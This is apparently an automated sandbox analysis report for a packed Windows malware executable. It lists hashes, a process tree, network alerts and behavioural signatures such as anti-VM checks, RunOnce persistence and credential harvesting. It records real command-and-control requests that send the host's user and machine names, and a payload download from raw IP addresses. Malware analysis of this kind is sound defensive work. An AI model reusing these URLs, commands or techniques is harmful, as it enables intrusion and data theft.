Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Dec. 7, 2023, 11:35 a.m.	Dec. 7, 2023, 11:46 a.m.

Size	285.0KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`3ba788943ce69ebe9bbd218606fd8547`
SHA256	`13f53967b03017371c9385a4266b5f3169afe48e933a5cbbf95f24843c05f376`
CRC32	`CFB4A7D5`
ssdeep	`6144:xOsvv2XehpGU3HufTii8q0xH9h6edHyQYQFRkVli17iJiy8BNg2AOxT4hR:9BHL6edHytQEiy8BNg2khR`
Yara	Malicious_Library_Zero - Malicious_Library IsPE32 - (no description) PE_Header_Zero - PE File Signature UPX_Zero - UPX packed file OS_Processor_Check_Zero - OS Processor Check

Application.exe "C:\Users\test22\AppData\Local\Temp\Application.exe"
2056
- gfsvc.exe "C:\ProgramData\31393a30383a3535\gfsvc.exe"
  2252
  - FRaqbC8wSA1XvpFVjCRGryWt.exe "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe"
    2400
    - cmd.exe "C:\Windows\System32\cmd.exe" /c copy "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" "C:\ProgramData\svcSched.exe" && ping 1.1.1.1
      2748
      - PING.EXE ping 1.1.1.1
        2816

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch
91.92.247.161	Active	Moloch
91.92.247.96	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49164 -> 91.92.247.96:80	2013028	ET POLICY curl User-Agent Outbound	Attempted Information Leak
TCP 192.168.56.103:49164 -> 91.92.247.96:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 192.168.56.103:49164 -> 91.92.247.96:80	2034567	ET HUNTING curl User-Agent to Dotted Quad	Potentially Bad Traffic
TCP 91.92.247.96:80 -> 192.168.56.103:49164	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 91.92.247.96:80 -> 192.168.56.103:49164	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (8 events)

Time & API	Arguments	Status	Return
GetComputerNameW Dec. 7, 2023, 11:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 7, 2023, 11:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 7, 2023, 11:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Dec. 7, 2023, 11:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 7, 2023, 11:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 7, 2023, 11:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 7, 2023, 11:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Dec. 7, 2023, 11:31 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Dec. 7, 2023, 11:31 a.m.			0	0
IsDebuggerPresent Dec. 7, 2023, 11:31 a.m.			0	0

Command line console output was observed (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Dec. 7, 2023, 11:44 a.m.	buffer: 1 file(s) copied. console_handle: 0x0000000000000007	1	1	0

Uses Windows APIs to generate a cryptographic key (2 events)

Time & API	Arguments	Status	Return	Repeated
CryptExportKey Dec. 7, 2023, 11:31 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001af1eb50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 8	1	1	0
CryptExportKey Dec. 7, 2023, 11:31 a.m.	buffer: f AqºbVÙ ÎÍbR¦êNÔþ1«·£ crypto_handle: 0x000000001af1eb50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 8	1	1	0

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Dec. 7, 2023, 11:31 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (3 events)

suspicious_features	Connection to IP address	suspicious_request	GET http://91.92.247.161/zhark/api.php?id=b98311500ce6100fb01cd1be7ad4b7db&us=test22&mn=TEST22-PC&os=Windows%207%20Professional%20N&bld=1.0.3B
suspicious_features	Connection to IP address	suspicious_request	GET http://91.92.247.96/async.exe
suspicious_features	Connection to IP address	suspicious_request	GET http://91.92.247.161/zhark/api.php?id=b98311500ce6100fb01cd1be7ad4b7db&us=test22&mn=TEST22-PC&os=Windows%207%20Professional%20N&bld=1.0.3B&tsk=29

Performs some HTTP requests (3 events)

request	GET http://91.92.247.161/zhark/api.php?id=b98311500ce6100fb01cd1be7ad4b7db&us=test22&mn=TEST22-PC&os=Windows%207%20Professional%20N&bld=1.0.3B
request	GET http://91.92.247.96/async.exe
request	GET http://91.92.247.161/zhark/api.php?id=b98311500ce6100fb01cd1be7ad4b7db&us=test22&mn=TEST22-PC&os=Windows%207%20Professional%20N&bld=1.0.3B&tsk=29

Allocates read-write-execute memory (usually to unpack itself) (43 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 2424832 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000ac0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000c90000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d61000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef33fb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000700000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000720000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d64000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d64000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d64000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2d64000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9365c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93686000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93660000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe936d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935cd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93710000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe936d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe936d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 7, 2023, 11:31 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe936d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

A process attempted to delay the analysis task. (2 events)

description	gfsvc.exe tried to sleep 120 seconds, actually delayed analysis time by 120 seconds
description	Application.exe tried to sleep 540 seconds, actually delayed analysis time by 0 seconds

Creates executable files on the filesystem (1 event)

file	C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe

Creates a suspicious process (2 events)

cmdline	cmd.exe /c copy "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" "C:\ProgramData\svcSched.exe" && ping 1.1.1.1
cmdline	"C:\Windows\System32\cmd.exe" /c copy "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" "C:\ProgramData\svcSched.exe" && ping 1.1.1.1

Drops a binary and executes it (1 event)

file	C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe

Executes one or more WMI queries (3 events)

wmi	SELECT * FROM Win32_Processor
wmi	SELECT * FROM Win32_BaseBoard
wmi	SELECT * FROM Win32_DiskDrive

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Dec. 7, 2023, 11:31 a.m.	show_type: 0 filepath_r: cmd.exe parameters: /c copy "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" "C:\ProgramData\svcSched.exe" && ping 1.1.1.1 filepath: cmd.exe	1	1	0

An executable file was downloaded by the process gfsvc.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
InternetReadFile Dec. 7, 2023, 11:31 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELË¯peà"0ø!" "@ @"@Ä"W " H.text$÷! ø! `.reloc "ú!@B"H ò¤$!v"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceAqºbVÙ ÎÍbR¦êNÔþ1«·£æPøÖsÒHz;}QA0'ëÁÏïbð>Â<NÆ¡ÜË©2rÐHÍÅ¤ÉQÉ]êhñwþÅ\| +ÌIsp2rC)¤K+{à¸¸²>ç(G·ñäQ@Ç¶-5#)Båä)}ñ¤`»&$ÁlþQö.OÈd0D¦eÌªëÛbo&ä1ö[ÅNfTO76eí§`Ù·!B·ä-bP¼rÐXzov\'7éù§©ÿ)FÅbpþwè,ZUÑ%%<+mnFa1Xçêßê½a å§]<éé@Në?`AqçÎñQ_ÕRbâðöìbèÈ%1¤qÓÁðÙï¤DãËÿý?ÖÔJÖÓ]#ÎJ¢Çë`0ÜºÙ·4AoS<>x¿®Ke>úm·ø«ZÞðeÚÖrS¤)§Jÿ&;(÷MUí8ÅÄÍ¢ÊxLæ%Ä6Íq(×{öÓ¡ ÄwjVCanìVkêü{Üp)õ VFWÞtïûÝ]n!0ýÚ¤£þÁß[TÂäÑÄ(«Êì&? Ár"þS_/îØËÖS^Õï¼lÔÃ¿ZÂÛ+s¥5^IÌ`ºDÍI õW!¼Òð>7í_BÐçÏUå¼¨¢UÐ©ñ\|^X6ïÄÎKªëßfWKPaké{hRS·0ÁJH2-,R³Ç}TÁêê+J<ZªYI¹ñzE%O§âòdsò÷3kç>RoÅåßM¾ÍqúÂóÛ^Å~èéäv¶¾%¨ãÂB$bé:WC¿¢NeçÇùªçÌe¦ð·F"û&Xµ>¢¹Ãd×ÒÅD>Ob-ß1äâ>5k6a½DÞ³<Û/EÖPO=Ö!q)k©Bµ2"kOÈB½d²PaÖZáÉºÏÙP°¯èÚjßîJaè(mqãXurâÉ×¯Ìßìý·³£\ï§g0¸¤´)ú¾²ß+n¥zIè5ªá¡ê¶ÕëStýAÁ,IÜïÇÂëúÈÓ<ú.7+³³rjÓ\|ªvMòx;§[çGÔ5æ²«¸8kÕÚ¹dâ=gfõì cÙÊó) íª¸ÚÆ]ZoLZWìHÖ"Þ¨åI×çrãøVWÿòVaÆNDLâw$ÅlZÓlÀðá¹Û;KA3J¸ûÉ -ÀÓBG1Ä £ÉÓ^ÄðÔc¥hqÊá3cò{Ä?MyÜ×äÜ³rD':1yìÖ.ö¤WÔµ»¥Ô ø«jñç/åÍ¿¤b8AæsªV÷çåü9#dBE#ÑãwÊ\@aûËäºÿÔ¦¦=ÊìÖÞ´s3(ºRS3n3êì[½2RÔÏ/1ã 9\±P`3d oÔÈ]¢#/`r~û(ø¤RtçeáýÓ\|«6òUzNïæþ¿Ícþ¤ã]üéZÀ]âut_xO^.OpÖÜ¡Ø%5NW:³/\z"§°Ùë®@z´CLÂ.õÊ5 edÙ»aN¦Ó}+°K¨§TB»¢¸&w8î+ÊL)ßÖTË·M§¢Ä¢²¼éÑM«5°ÞeØÝ=}ÍÎ¼ä§wýÛ7ÂIùZÇìÒ=Å3î³Ö³û9áÛ^ÔþBÚ+!¦)9H9Å;XÇö¹°À,¨öÄðÞs¸LGE«sìÂaÜéeÿ õSAÜ¼T?Ã½·jîÄLxìÕ#[:uõ®;'!Qô3Xà\|-«(RòFL©ÌàüQxfWiáOP¢EuIMyÂ©0ð©ùHÐ\×»Âæäz¶øÙ\Iô,"WÀ, ìÚµqÄ¢Û£&FéôGFJ~:ÀXqU2cW¨É¦}+Vù`Ñ 4½ò¨O[Ò¯ÆY´Ú5ÏxäÁF¾=XÀTsÎ 1:=ÅP¾Ñõëå1^Ç"1ëiúÄpÁ´¢8ÞRámãp"p¦èÊbÇÅ Ô¸ÛÝVBXÈB¹Ø[_»:i0ðf5¸1¼ÿ¿ÈVQðëTQÄè%ÎìQÃûBÜÄof© v·QçÿæBlì«ÌìbÌWÇ÷ußYËHzémHB7î÷U! ?f´CÛVt>3Z ìô<ÖÁ8Äz? MðÉE7wüÌh¿î¿hÊ,ÒÚZa´8kmÃµH}õ¼üÐØ÷£û=wìm"a:·xèÕEûÌ &óþsMúb®ýUlÀËr¹)RTDÅb(ß1HËÄ´ÔÚÿ£Äñ`P»²cïàíë})¦8þæ¼7ÀÃ#QÃõ¨Äð¾×G¯LcclÇ¡uþ¼\xªH{ôd5\2í,Ö&àù[eµÝÀc#V]ºËUàB ©«4lÓÌ±za^]ßöI"J6e¥;ï¿',]¶k§þ¢]ò%±K¢;³m^A88lyo4³Û»QòþÍxã\Ra-ÀlPi7ÃOIZÞAt¥á7zuÎ*L-àSpdcrlA;jJÁ\|TËÃéI¯]+T6·ðÇ^²¢jã=ææØOËÒÜüiK®%-a9ÐnÞ±8vÑÐÔVhÐj±©Ào´É¦^@è²ädË¥SÄa7MSÆs ònf{Ñ±åîyÂdÝD ÕîtXu8\|{´ëä}Zï¤î¤ë ææâ{&(ÂF1¶÷;°±jw«A7bXvø¿Q2Q»WZ$ÕáÍt¬Ñ ë£KIÂz¸6·æt<VøT=jÅßs§¹m;«¢xÈüG·'NPáÂZùfuî{>§LÕi¡±ð'Yù6QÍç¡+M Y»æ£XQu¬VL¬q^dÝBìèÍ³ÄH]zn³Ãog}t¾[$»j+¨±\ÏÌdF®A1ÚG^ºUáa\| Ö÷ý`ZÓ$RÕa°y`;!FÐèãx ~òtmâ§=ÚþÓ¯½7ÒClWÐÕ:ÍÁ£=%?ôy0EYùo¦ cpîzÔa!¼zü¨ØBWhþzMÊ£å Ï=ô4XâáÆ¢è_ÞµhRýÛáÂuµ¦4ÑÕ1ejèqý·àèPq°¡âÅ¥î²bCû÷6micoÂÜ´+)à$é3 Æòÿîðö]«ýÀÿMyøcÙwÂö f¥®d¢§Ä4ïML'6ðU'×q·àAÏë<ñã²áßâþ+fÞU"k¡òò5qúúZMrvºÕÃú{C»h®ê 3«oH¼§&g,ÌØáÀA?o¶wy«eå°;):8ó§z á¦C#(yâÀU8{àòÀ¹L?EÄÔÁx[n2å`á;Ý°ÈH0ÁmzÇ¦â=ÖTÌÅ%[Wcz&ÑCý·¼auAtÌoÜß×þ¹Ñ¤-·`-Ý>@AÚ£'Oy$åbf¬§jS7²FºnÛ9)~¿ó5GÁ/p\âõÂu£¤^½8{"eio.a÷Ð(æi[P9³lµ¬GÐáä :?¿Sßýÿù~ÄôûjiNRÂ4?b yýª ÿ~ÄÃOÃ ÖRÔn m?ÜÑÑ)ìbáüâ¾0øNÉGêçþcsH!îÛSÔk°`ÿÎ´§tô<£þx¼Óã©®½ç×¾+;Òþ¿88ÞòÈtê¿±5Í.3wÖxáÔ ¥Q.8@É¢·V^dÔëI²\Ã cdÂÞnaz6VmÂ¶þÈ}jÕêï$Ñª¿\|%Vö©s¶ÁòÝÑ3§Ò«ùv}ÊöFnÔÔe2õMê 1îî2¯qI¤¢z?:øýÔª3Ð.CHuþöÜ`#×·Ø» k ußMÝû.w}H;k¾keGÕ8$#9ÙRl,þSúZ>rÖZObÖtÖ=Izë¬_ëpÜj\|²!p®Ê x2v¨â¤²S7°¹þï3AÉ(û×x×âsÏQiaÇ request_handle: 0x00cc000c	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Dec. 7, 2023, 11:31 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Terminates another process (1 event)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess Dec. 7, 2023, 11:31 a.m.	status_code: 0xffffffff process_identifier: 2400 process_handle: 0x000000000000037c		0	0

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	cmd.exe /c copy "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" "C:\ProgramData\svcSched.exe" && ping 1.1.1.1
cmdline	ping 1.1.1.1
cmdline	"C:\Windows\System32\cmd.exe" /c copy "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" "C:\ProgramData\svcSched.exe" && ping 1.1.1.1

Executes one or more WMI queries which can be used to identify virtual machines (1 event)

wmi	SELECT * FROM Win32_Processor

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 75416d4212b2f460ecf7209bf89016ed60030d8c

Communicates with host for which no DNS query was performed (2 events)

host	91.92.247.161
host	91.92.247.96

Checks the version of Bios, possibly for anti-virtualization (1 event)

registry

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\SystemBiosVersion

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Service Scheduler

reg_value

"C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe"

Harvests credentials from local email clients (1 event)

file	C:\Users\admin\Documents\Outlook Files\honey@pot.com.pst

Network activity contains more than one unique useragent (2 events)

process	gfsvc.exe				useragent	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
process	gfsvc.exe				useragent	curl/1.0

Generates some ICMP traffic

File has been identified by 35 AntiVirus engines on VirusTotal as malicious (35 events)

Bkav	W32.AIDetectMalware
